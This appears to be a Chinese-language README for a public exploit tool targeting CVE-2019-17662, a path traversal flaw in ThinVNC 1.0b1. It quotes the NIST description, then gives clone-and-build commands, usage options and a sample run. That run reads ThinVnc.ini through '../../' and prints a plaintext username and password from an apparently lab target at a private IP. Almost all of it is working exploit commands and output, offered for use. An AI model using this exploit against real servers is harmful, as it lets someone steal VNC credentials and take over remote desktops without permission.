ThinVNC 1.0b1 存在任意文件读取漏洞，可导致VNC服务器被攻破。即使在部署VNC服务器时开启了身份验证，该漏洞仍然存在。用于身份验证的密码以明文形式存储在一个可通过
../../ThinVnc.ini目录遍历攻击向量读取的文件中。~ NIST
$ git clone https://github.com/whokilleddb/CVE-2019-17662
$ cd CVE-2019-17662
$ make
$ ./bin/CVE-2019-17662 -h
[~] Usage: ./CVE-2019-17662 -u URL [-f File]
[>] Options:
OPTIONS 描述
-u URL 基础 URL
-f File [可选] 要查询的文件名 (默认: ThinVnc.ini)
$ ./bin/CVE-2019-17662 -u http://10.10.185.214:8080/
[+] CVE-2019-17662 exploit by @whokilleddb
[o] Target : http://10.10.185.214:8080/
[x] File To Read: ThinVnc.ini
[~] Trying to Read: http://10.10.185.214:8080/abc/../../ThinVnc.ini
[:] Trying To Fetch Credentials
[-] User=Atlas
[-] Password=H0ldUpTheHe@vens